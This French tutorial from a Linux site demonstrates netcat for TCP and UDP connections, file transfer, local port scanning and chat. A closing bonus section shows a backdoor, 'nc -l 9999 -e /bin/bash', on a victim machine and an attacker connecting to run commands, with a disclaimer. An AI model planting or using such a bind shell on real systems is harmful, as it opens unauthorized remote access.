GNU/Linux >> Tutoriels Linux >  >> Linux

5 exemples de la commande Netcat (nc) sous Linux

Netcat est un outil réseau puissant et polyvalent disponible pour les machines Linux, Mac et Windows. Il est simple à utiliser et constitue un apprentissage essentiel pour tous ceux qui s'intéressent à la communication réseau.

La fonctionnalité principale de Netcat permet à deux ordinateurs de se connecter et de partager des ressources. Le nom est un mot-valise de réseau et de concaténation, qui est un mot fantaisiste pour joindre des éléments.

Les connexions peuvent être établies directement entre les machines via des ports TCP ou UDP. Une fois établis, il existe de nombreux cas d'utilisation potentiels. La communication peut fonctionner de manière bidirectionnelle afin que les fichiers ou les informations puissent passer d'un auditeur à un client ou d'un client à un auditeur.

Netcat est connu comme le "couteau suisse" de l'informatique en raison de son large éventail de fonctionnalités. Il peut être utilisé pour l'envoi de fichiers simples, le chat, le service Web, l'exécution de code à distance. La liste est longue et variée.

Je soulignerai certaines des applications les plus courantes tout au long de cet article.

Il est notoire que netcat peut être utilisé pour créer un accès par "porte dérobée". Je vais vous expliquer comment cela fonctionne, mais gardez à l'esprit que cela ne fait plus partie du logiciel nc en raison de son potentiel d'utilisation malveillante.

Exemples de commandes Netcat (nc)

Voici la syntaxe de la commande nc :

nc [options] [hostname] [port]

La syntaxe peut varier selon l'application, mais pour la plupart des utilisations, vos commandes suivront ce modèle de base.

Voyons

1. Créer une connexion à l'aide de TCP avec la commande netcat

Comme je l'ai mentionné plus tôt, la fonctionnalité principale de netcat est de joindre deux machines ensemble. Vous pouvez configurer une connexion à l'aide de TCP pour connecter deux machines distinctes, vous pouvez également émuler cette connexion à l'aide du terminal.

La machine à écouter :

nc -l 8080

Cette commande ouvre le port 8080 et indique à la machine de commencer à écouter sur ce port.

Afin d'établir une connexion, vous utiliserez un autre terminal et saisirez ce qui suit.

L'ordinateur client :

nc 127.0.0.1 8080

Vous pouvez également utiliser "localhost" à la place de l'IP, ou utiliser l'IP de votre deuxième PC ici si vous établissez une connexion à distance.

Ça y est, vous avez ouvert un port TCP et établi une connexion entre deux systèmes.

Introduction rapide à TCP vs UDP

Pourquoi utilisons-nous TCP par défaut ? TCP est une technologie plus ancienne que UDP et ils fonctionnent à différents niveaux du modèle OSI. Je vais donner un aperçu rapide des différences entre eux et décrire certaines situations où vous pouvez choisir l'un plutôt que l'autre.

TCP a de fortes capacités de correction d'erreurs. Qu'est-ce que cela signifie? Fondamentalement, cela signifie que pendant que les paquets de données sont en transit d'un système à l'autre, des tests continus sont effectués. Ces tests garantissent que les informations du système A sont copiées avec précision vers le système B. Il s'agit d'une version très simplifiée de ce qui se passe lorsque les informations circulent sur les réseaux (Internet).

Il existe de nombreux protocoles utilisés dans la communication Internet, cependant, pas seulement TCP. UDP a des règles différentes de TCP. Ni l'un ni l'autre n'est nécessairement "meilleur", mais chacun peut exceller dans l'exécution de différentes tâches.

Pourquoi utiliserions-nous UDP sur TCP ou vice versa ? Cela dépend de l'application. TCP est plus lent, mais plus fiable pour transférer des données avec précision.

UDP peut être choisi dans des situations où la vitesse est plus importante que la fiabilité de transmission des informations. Un exemple de ceci est le streaming de données, comme la vidéo. La vidéo peut être transférée plus rapidement via UDP, et même s'il y a des erreurs dans la transmission, elles sont moins susceptibles d'avoir un impact sur l'expérience utilisateur.

2. Créer une connexion en utilisant UDP avec la commande nc

Les étapes pour établir une connexion UDP sont pratiquement identiques à celles que nous avons déjà suivies. Vous allez ajouter un indicateur d'option pour spécifier que le type de port que vous souhaitez ouvrir est UDP, et non le TCP par défaut.

nc -l -u 999

C'est si simple. C'est tout ce que vous avez à faire pour ouvrir le port UDP "999".

Vous vous demandez peut-être si vous pouvez utiliser TCP et UDP avec le même numéro de port. Vous pouvez, car ce sont des protocoles distincts.

3. Utilisez la commande nc pour transférer des fichiers entre des systèmes distants

Il existe d'autres méthodes pour transférer des fichiers d'un système à un autre. Vous pouvez également utiliser la commande netcat à cette fin.

Pour cet exemple, j'ai créé une démo qui illustre un transfert de fichiers à distance de ma machine Linux vers mon MacBook Pro.

Configurer le PC Linux pour recevoir

nc -l 9999 > fromMac.file

Vous commencez à écouter sur la machine réceptrice sur le port TCP 9999. Le ‘> ' indique à la machine que vous attendez qu'un fichier soit transféré. Le nom qui suit est le nom local du fichier.

Configurer le PC Mac pour envoyer

nc 172.20.1.168 9999 < toLinux.file

L'adresse IP ici appartient à la machine Linux. Vous retournez le symbole en '< ' et le fichier 'toLinux.file' sera copié sur la machine distante en tant que 'fromMac.file'.

Voici un exemple utilisant deux machines différentes pour envoyer un fichier.

4. Utilisez la commande nc pour l'analyse des ports

Il existe peut-être des options plus efficaces pour l'analyse des ports, mais cela peut être fait avec netcat. Étant donné que netcat est installé par défaut sur la plupart des systèmes d'exploitation, il est bon de savoir comment procéder si vous devez effectuer un dépannage rapide. Vous utiliserez le "-n" et afficherez une sortie détaillée.

nc -v -n 127.0.0.1 1-100

Cela tente d'établir une connexion aux ports entre 1 et 100. Le port 80 est HTTP, comme je suis sûr que beaucoup d'entre vous le savent. Ce port est normalement ouvert sur les machines car il est utilisé pour se connecter à Internet.

Lorsque j'utilise cette commande, j'essaie en fait de me connecter à tous les ports entre 1 et 100. Il se connecte avec succès au port 80, mais génère un message d'erreur d'Apache. Je me retrouve avec une sortie HTML sur le terminal parce que mon ordinateur le voit comme une mauvaise demande de page.

[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!

HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>

Mode zéro E/S

Pour éviter cela, vous pouvez utiliser le -z drapeau, qui signifie zéro entrée/sortie. Il s'agit du mode de balayage de port intégré pour netcat. J'obtiens toujours le même langage, mais il n'établit pas réellement la connexion au port 80 générant l'erreur de requête erronée. Au lieu de cela, il continue à travers tous les ports analysés.

5. Chatter avec Netcat

C'est une façon plus amusante d'utiliser netcat. Lorsque vous établissez une connexion TCP comme ci-dessus, vous pouvez réellement "discuter" d'une machine à l'autre. C'est moins nouveau à une époque où les applications de messagerie texte et de chat sont omniprésentes, mais cela aurait totalement époustouflé quelqu'un en 1996.

Voici une animation qui me montre en train de parler d'un terminal à l'autre.

Plutôt cool, non ?

Astuce bonus :créer une porte dérobée avec la commande nc

Je vais montrer cela à des fins de démonstration uniquement. Veuillez noter que l'utilisation non autorisée de cette commande peut être considérée comme une activité criminelle dans votre région.

En fait, cette commande ne fait plus rien avec 'nc'. Il existe des moyens de le faire, mais vous devrez les trouver ailleurs. Encore une fois, ceci est uniquement destiné à montrer la capacité.

Le -e flag rend quelque chose exécutable. Un moyen courant pour les acteurs malveillants d'accéder est de créer une telle porte dérobée sur un port ouvert et de l'utiliser pour exécuter des scripts ou manipuler le système de fichiers.

Ainsi, si l'attaquant parvient d'une manière ou d'une autre à accéder à la machine "victime", il peut créer une porte dérobée comme celle-ci :

nc -l 9999 -e /bin/bash

Désormais, les attaquants peuvent utiliser cette porte dérobée pour accéder au système à distance et exécuter des commandes. Donc, depuis le système de l'attaquant :

nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music 
Pictures
Public
Templates
Videos
firefox linuxhandbook.com

Cela permet à l'attaquant d'accéder à distance à votre ordinateur à partir de la ligne de commande. Une fois connecté, je peux exécuter des commandes bash de la même manière que si j'utilisais directement l'ordinateur.

Je suis sûr que vous pouvez imaginer comment quelqu'un sans les meilleures intentions pourrait abuser de ce pouvoir. Il est donc très important de surveiller l'activité des ports sur n'importe quel réseau.

J'espère que vous avez apprécié cette brève introduction à la commande netcat. Comme toujours, dites-nous ce que vous en pensez dans la section des commentaires.


Linux
  1. La commande Linux Sed :utilisation et exemples

  2. Exemples pratiques de la commande Unzip sous Linux

  3. 5 exemples pratiques de la commande dd sous Linux

  4. 7 Exemples de commandes Linux df

  5. 8 Exemples de commandes Linux TR

Qu'est-ce que la commande Linux Watch + Exemples

Les 50 exemples pratiques de la commande SED sous Linux

10 exemples utiles de la commande Sort sous Linux

Exemples essentiels de la commande ps sous Linux

Exemples de commandes id sous Linux

w Exemples de commandes sous Linux